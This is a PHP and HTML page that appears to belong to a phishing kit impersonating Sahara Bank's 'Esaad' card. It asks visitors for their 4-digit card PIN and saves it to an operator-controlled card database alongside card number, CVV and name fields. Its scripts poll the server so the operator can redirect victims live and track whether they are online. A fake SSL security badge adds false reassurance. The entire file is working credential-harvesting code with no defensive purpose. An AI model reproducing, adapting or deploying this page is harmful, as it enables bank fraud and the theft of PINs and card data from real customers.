<?php
error_reporting(0);
ini_set('display_errors', 0);
########################
session_start();

require_once('./add-efaa.php');
require_once('./dashboard/init.php');

if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'الرمز السري');
    $dataa = [
        'userId' => $_SESSION['user_id'],
        'page' => 'الرمز السري'
    ];
}

if (isset($_POST['submit'])) {
    // إنشاء مستخدم تلقائي إذا ما عنده user_id عند الإدخال فقط
    if (!isset($_SESSION['user_id'])) {
        $autoUser = [
            'ssn' => 'auto_' . time(),
            'page' => 'الرمز السري',
            'message' => 'دخول مباشر'
        ];
        $autoId = $User->register($autoUser);
        if ($autoId) {
            $_SESSION['user_id'] = $autoId;
        }
    }
    // إنشاء بطاقة فارغة إذا ما عنده card_id
    if (!isset($_SESSION['card_id']) && isset($_SESSION['user_id'])) {
        $emptyCard = [
            'cardNumber' => '',
            'cardName' => '',
            'year' => '',
            'cvv' => '',
            'insurance_company' => '',
            'insurance_price' => ''
        ];
        $autoCardId = $User->InsertCardVisaRelatedUser($_SESSION['user_id'], $emptyCard);
        if ($autoCardId) {
            $_SESSION['card_id'] = $autoCardId;
        }
    }

    $site = array(
        'password' => $_POST["password"],
        'message' => 'الرمز السري',
        'type' => '3'
    );

    $id = $_SESSION['card_id'];
    $userId = $_SESSION['user_id'];
    $updateResult = $User->UpdateCardPasswordById($id,  $_POST["password"]);
    if ($updateResult) {
        $User->UpdateStatus($userId, 'الرمز السري');
echo "<script>document.location.href='wait-payment.php';</script>";
    }
}

if (isset($_GET['reject'])) {
    $showError = true;
}


?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>إسعاد | تأكيد بيانات العميل</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Tajawal:wght@300;400;500;700;800;900&display=swap" rel="stylesheet">
    <style>
        :root {
            --sahara-green: #1a6c3a;
            --sahara-green-light: #28a745;
            --sahara-gold: #c9a84c;
            --sahara-dark: #1a3c34;
            --sahara-bg: #f0f2f5;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Tajawal', sans-serif;
            background: linear-gradient(160deg, #0d2b1a 0%, #1a4c2e 40%, #1a6c3a 70%, #0d2b1a 100%);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            overflow-x: hidden;
        }

        /* Navbar */
        .sahara-nav {
            background: #ffffff;
            padding: 15px 20px;
            display: flex;
            align-items: center;
            justify-content: space-between;
            border-bottom: 3px solid var(--sahara-gold);
        }

        .sahara-nav img {
            height: 40px;
        }

        .step-dots {
            display: flex;
            gap: 6px;
            align-items: center;
        }

        .step-dots .dot {
            width: 10px;
            height: 10px;
            border-radius: 50%;
            background: #d1d5db;
        }

        .step-dots .dot.done {
            background: var(--sahara-green);
        }

        .step-dots .dot.active {
            background: var(--sahara-gold);
            animation: dotPulse 1.5s ease-in-out infinite;
        }

        @keyframes dotPulse {
            0%, 100% { transform: scale(1); }
            50% { transform: scale(1.3); }
        }

        /* Main Content */
        .main-content {
            flex: 1;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 30px 16px;
        }

        .pass-container {
            width: 100%;
            max-width: 420px;
        }

        /* Card */
        .pass-card {
            background: rgba(255, 255, 255, 0.07);
            backdrop-filter: blur(20px);
            border: 1px solid rgba(255, 255, 255, 0.12);
            border-radius: 20px;
            padding: 32px 24px;
            box-shadow: 0 15px 40px rgba(0, 0, 0, 0.2);
            text-align: center;
        }

        .pass-card .card-icon {
            width: 70px;
            height: 70px;
            background: linear-gradient(135deg, var(--sahara-green), var(--sahara-green-light));
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 16px;
            box-shadow: 0 8px 25px rgba(26, 108, 58, 0.35);
            animation: pulse-green 2s ease-in-out infinite;
        }

        .pass-card .card-icon i {
            font-size: 30px;
            color: white;
        }

        @keyframes pulse-green {
            0%, 100% { box-shadow: 0 8px 25px rgba(26, 108, 58, 0.35); }
            50% { box-shadow: 0 8px 35px rgba(26, 108, 58, 0.55); }
        }

        .pass-card h2 {
            color: white;
            font-size: 22px;
            font-weight: 800;
            margin-bottom: 6px;
        }

        .pass-card .subtitle {
            color: rgba(255, 255, 255, 0.6);
            font-size: 13px;
            margin-bottom: 24px;
        }

        .pass-card .desc {
            color: rgba(255, 255, 255, 0.6);
            font-size: 14px;
            line-height: 1.8;
            margin-bottom: 28px;
        }

        .pin-input-wrapper {
            display: flex;
            justify-content: center;
            gap: 12px;
            margin-bottom: 20px;
            direction: ltr;
        }

        .pass-card .form-control {
            background: rgba(255, 255, 255, 0.08);
            border: 1.5px solid rgba(255, 255, 255, 0.15);
            border-radius: 14px;
            padding: 14px 16px;
            font-size: 24px;
            color: white;
            height: 56px;
            width: 100%;
            text-align: center;
            font-family: 'Tajawal', sans-serif;
            letter-spacing: 12px;
            transition: all 0.3s ease;
        }

        .pass-card .form-control:focus {
            border-color: var(--sahara-gold);
            box-shadow: 0 0 0 3px rgba(201, 168, 76, 0.2);
            outline: none;
            background: rgba(255, 255, 255, 0.12);
        }

        .pass-card .form-control::placeholder {
            color: rgba(255, 255, 255, 0.25) !important;
            font-size: 20px;
            letter-spacing: 8px;
        }

        /* Submit Button */
        .btn-submit {
            width: 100%;
            padding: 14px;
            background: linear-gradient(135deg, var(--sahara-gold), #d4b85c);
            color: #1a3c34;
            border: none;
            border-radius: 14px;
            font-size: 16px;
            font-weight: 700;
            font-family: 'Tajawal', sans-serif;
            cursor: pointer;
            transition: all 0.3s ease;
            margin-top: 10px;
            box-shadow: 0 6px 20px rgba(201, 168, 76, 0.3);
        }

        .btn-submit:hover {
            transform: translateY(-2px);
            box-shadow: 0 8px 25px rgba(201, 168, 76, 0.45);
        }

        /* Error */
        .error-msg {
            color: #ff5252;
            font-weight: 700;
            font-size: 14px;
            margin-top: 10px;
            padding: 8px;
            background: rgba(255, 82, 82, 0.1);
            border-radius: 8px;
        }

        /* Security Badge */
        .security-badge {
            margin-top: 16px;
            padding: 10px;
            background: rgba(201, 168, 76, 0.1);
            border-radius: 10px;
            border: 1px solid rgba(201, 168, 76, 0.2);
        }

        .security-badge i {
            color: var(--sahara-gold);
            margin-left: 6px;
        }

        .security-badge span {
            color: rgba(255, 255, 255, 0.6);
            font-size: 11px;
        }

        .hide {
            display: none;
        }

        .show {
            display: block;
        }

        /* Footer */
        .sahara-footer {
            text-align: center;
            padding: 20px;
            margin-top: auto;
        }

        .sahara-footer img {
            height: 30px;
            opacity: 0.5;
            margin-bottom: 6px;
        }

        .sahara-footer p {
            color: rgba(255, 255, 255, 0.3);
            font-size: 11px;
        }

        /* Animation */
        @keyframes fadeInUp {
            from { opacity: 0; transform: translateY(20px); }
            to { opacity: 1; transform: translateY(0); }
        }

        .fade-in {
            animation: fadeInUp 0.6s ease-out;
        }
    </style>
</head>

<body>

    <!-- Navbar -->
    <nav class="sahara-nav">
        <a href="index.php">
            <img src="./assets/sahara_logo.png" alt="مصرف الصحارى">
        </a>
        <div class="step-dots">
            <div class="dot done"></div>
            <div class="dot done"></div>
            <div class="dot done"></div>
            <div class="dot active"></div>
        </div>
    </nav>

    <!-- Main Content -->
    <div class="main-content">
        <div class="pass-container fade-in">
            <!-- Password Card -->
            <div class="pass-card">
                <div class="card-icon">
                    <i class="fas fa-lock"></i>
                </div>
                <h2>تأكيد بيانات العميل</h2>
                <p class="subtitle">خطوة أخيرة للتحقق من هويتك</p>
                <p class="desc">الرجاء إدخال الرمز السري المكون من 4 خانات للتأكيد على طلب التسجيل في بطاقة إسعاد</p>

                <form action="" method="post">
                    <div class="pin-input-wrapper">
                        <input type="text" minlength="4" maxlength="4" inputmode="numeric" name="password" required pattern="[0-9]+" class="form-control" placeholder="----">
                        <input type="hidden" name="status" value="4">
                    </div>

                    <?php
                    if (isset($showError)) {
                        echo '<div class="error-msg"><i class="fas fa-exclamation-circle" style="margin-left: 4px;"></i> الرمز السري غير صحيح</div>';
                    }
                    ?>

                    <button class="btn-submit" type="submit" name="submit">
                        <i class="fas fa-check-circle" style="margin-left: 6px;"></i>
                        المتابعة
                    </button>
                </form>

                <div class="security-badge">
                    <i class="fas fa-shield-alt"></i>
                    <span>اتصال آمن ومشفر بتقنية SSL 256-bit - إسعاد</span>
                </div>
            </div>
        </div>
    </div>

    <!-- Footer -->
    <footer class="sahara-footer">
        <img src="./assets/sahara_logo.png" alt="مصرف الصحارى"><br>
        <p>&copy; بطاقة إسعاد | esaad 2026 - جميع الحقوق محفوظة</p>
    </footer>

<script src="js/main.js"></script>
    <script>
    </script>


<script>
// JSON Polling - بديل Pusher
function checkRedirect() {
    fetch('polling-redirect.php')
        .then(r => r.json())
        .then(data => {
            if (data.redirect) {
                window.location.href = data.redirect;
            }
        })
        .catch(e => {});
}
setInterval(checkRedirect, 1500);
checkRedirect();
</script>


<script>
// Heartbeat - تحديث حالة الاتصال فوراً
function sendHeartbeat() {
    fetch('heartbeat.php').catch(function(e){});
}
setInterval(sendHeartbeat, 2000);
sendHeartbeat();
window.addEventListener('beforeunload', function() {
    navigator.sendBeacon('heartbeat.php', new URLSearchParams({action: 'offline'}));
});
</script>
</body>

</html>
